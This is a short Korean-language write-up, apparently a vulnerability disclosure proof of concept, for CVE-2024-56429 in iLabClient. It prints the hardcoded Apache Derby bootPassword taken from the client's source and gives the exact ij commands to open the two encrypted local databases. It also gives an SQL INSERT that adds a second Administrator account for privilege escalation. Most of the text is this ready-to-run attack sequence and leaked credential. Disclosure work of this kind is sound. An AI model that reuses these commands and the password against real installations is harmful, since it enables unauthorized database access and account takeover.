
CVE-2024-56429에 대한 익스플로잇으로, iLabClient 소스 코드에서 Apache Derby 데이터베이스 부트 암호를 추출하여 로컬 데이터베이스 연결과 사용자 조작을 통한 권한 상승을 가능하게 합니다.
iLabClient의 로컬 데이터베이스에 대한 접근
iLabClient는 로컬에 필요한 데이터를 저장하기 위해 Apache Derby 데이터베이스를 사용합니다. 암호화를 보장하기 위해 생성 시 bootPassword가 사용되며, 이는 소스 코드에서 추출할 수 있습니다 (추출된 코드는 DecyptedBootPassword.java에 있습니다). 추출된 소스 코드를 실행하면 사용자는 bootPassword를 받게 됩니다.
jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==
iLabClient를 처음 시작하면 iLabCLient와 iLabDB라는 두 개의 로컬 데이터베이스가 생성됩니다. 이러한 데이터베이스에 연결하려면 Apache Derby의 ij 도구를 사용할 수 있습니다: 다운로드.
ij 시작:
"C:\ilabClient\java8u422\bin\java.exe" -jar "...\db-derby-10.14.2.0-lib\lib\derbyrun.jar" ij
"C:\ilabClient\java8u422\bin\java.exe": iLabClient에서 설치 및 사용하는 Java 버전
"...\db-derby-10.14.2.0-lib\lib\derbyrun.jar": Apache Derby 라이브러리
데이터베이스에 연결:
cd "C:\ilabClient\db
connect 'jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
connect 'jdbc:derby:iLabDB;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
연결이 설정되면 데이터를 읽고 조작할 수 있습니다. 예를 들어, 더 많은 권한을 가진 다른 사용자를 추가하는 방식으로 말입니다.
insert into users (USERID, BENUTZER, NAME, PARAMS, HASH) values (4, 'admin2', 'Administrator', '111111111111111111', 'SHA-256:B6382EC801B1BBD5C464C6A5F9C8CFFDC603A7D3A4916B1F50BD592678E8380B');
필요한 해시는 GenerateUserData.java 클래스로 생성할 수 있습니다.
발견자: Lisa Ulbrich (Lufthansa Industry Solutions AS GmbH)